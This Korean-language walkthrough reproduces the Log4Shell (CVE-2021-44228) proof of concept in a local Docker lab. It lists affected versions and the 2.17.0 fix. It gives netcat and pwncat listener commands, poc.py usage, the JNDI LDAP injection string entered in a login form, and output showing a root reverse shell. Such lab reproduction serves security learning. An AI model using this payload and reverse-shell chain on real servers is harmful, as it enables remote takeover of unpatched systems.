log4j (Log4Shell) POC(Proof-Of-Concept) 재현

- log4j 제로데이 보안 취약점


Apache Log4j 보안 업데이트 권고 (Update. 21-12-22 13:40)
https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36389


* 해킹 될수 있는 log4j 버전
    - CVE-2021-44228 (2021-11-26) :  2.0 ~ 2.14.1 이하 
    - CVE-2021-45046 (2021-12-14) :  2.0 ~ 2.15.0 이하
    - CVE-2021-4104 (2021-12-14) :  1.x 버전에서  JMSAppender사용시


* 대응방안
    Log4j 2.17.0으로 업데이트




//-------------------------------------
* kozmer / log4j-shell-poc
https://github.com/kozmer/log4j-shell-poc
A Proof-Of-Concept for the recently found CVE-2021-44228 vulnerability. 

Exploit hacking 시연

log4j-shell-poc-main-(PW=1).7z.003

0.05MB

log4j-shell-poc-main-(PW=1).7z.002

19.00MB

log4j-shell-poc-main-(PW=1).7z.001

19.00MB

    - 리눅스 OS에서 실행한다. 윈도우 Docker와 WSL2에서는 제대로 실행 안될수있음


//-------------------------------------
< 설치 > 

*   git 소스 다운로드, 압축 풀기

//-------------------------------------
* java 다운로드 설치
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
    - 압축풀기
tar -xf jdk-8u20-linux-x64.tar.gz

    - 파일 확인
log4j-shell-poc폴더/jdk1.8.0_20/bin/java  와   javac


//-------------------------------------
    - 자동화 파일 설치
# pip install -r requirements.txt


//-------------------------------------
    - 창1 : netcat 시작 - 리버스 쉘 접속용
# nc -lvnp 9001


//-------------------------------------
    - 창2: 익스플로잇(poc.py) 시작
# python3 poc.py --userip localhost --webport 8000 --lport 9001
    - 8000 포트 : 웹접속 
    - 9001 포트 : 리버스 쉘 접속용


//-------------------------------------
    - 창3: pwncat 실행
# python3 -m pwncat -lp 9001 -m linux


* 참고:  pwncat 설치 방법
    - pwncat은 python3.9 필요 (ERROR: No matching distribution found for pwncat-cs)
    - 그런데 현재 ubuntu 의 기본 python버전은 3.8
    - 3.8을 삭제하고 3.9를 설치한다. (pwncat 에러 ModuleNotFoundError: No module named 'zope.interface.common.collections')

apt purge python3
apt purge python3.8
apt install python3.9


    - pip 업그레이드
pip install --upgrade pip

    - pwncat 설치
pip install pwncat-cs



//-------------------------------------
    - 창4: 보안 취약한 웹서버 webapp 시작
    - log4j-shell-poc 프로젝트의 Dockerfile, target 필요

# docker build -t log4j-shell-poc .
# docker run --network host log4j-shell-poc
    - 8080 포트로 웹서비스 시작됨 (브라우저로 접속가능)


//-------------------------------------
< 해킹 과정 >

webapp.mp4.7z

0.99MB

    - webapp 에 접속
    - 웹브라우저로  IP:8080 에 접속후 로그인 정보에 다음을 입력
username  :     ${jndi:ldap://localhost:1389/a}
password  :      hello! 


    - 익스플로잇(poc.py) 창에 다음 메시지 생성됨
Send LDAP reference result for a redirecting to http://localhost:8000/Exploit.class
127.0.0.1 - - [2021 15:12:22] "GET /Exploit.class HTTP/1.1" 200 -


    - pwncat창에 다음 메시지 생성됨
[15:52:48] Welcome to pwncat 🐈! 
[15:53:03] received connection from 127.0.0.1:57972 
[15:53:04] 0.0.0.0:9001: upgrading from /bin/dash to /bin/bash  
[15:53:05] localhost:57972: registered new host w/ db  
(local) pwncat$


    - pwncat창에서 리모트 쉘로 전환
(local) pwncat$ back

    - pwncat창에서 명령어 실행
(remote) root@server:/usr/local/tomcat# ls
LICENSE  NOTICE  RELEASE-NOTES  RUNNING.txt  bin  conf  include  lib  logs  native-jni-lib  temp  webapps  work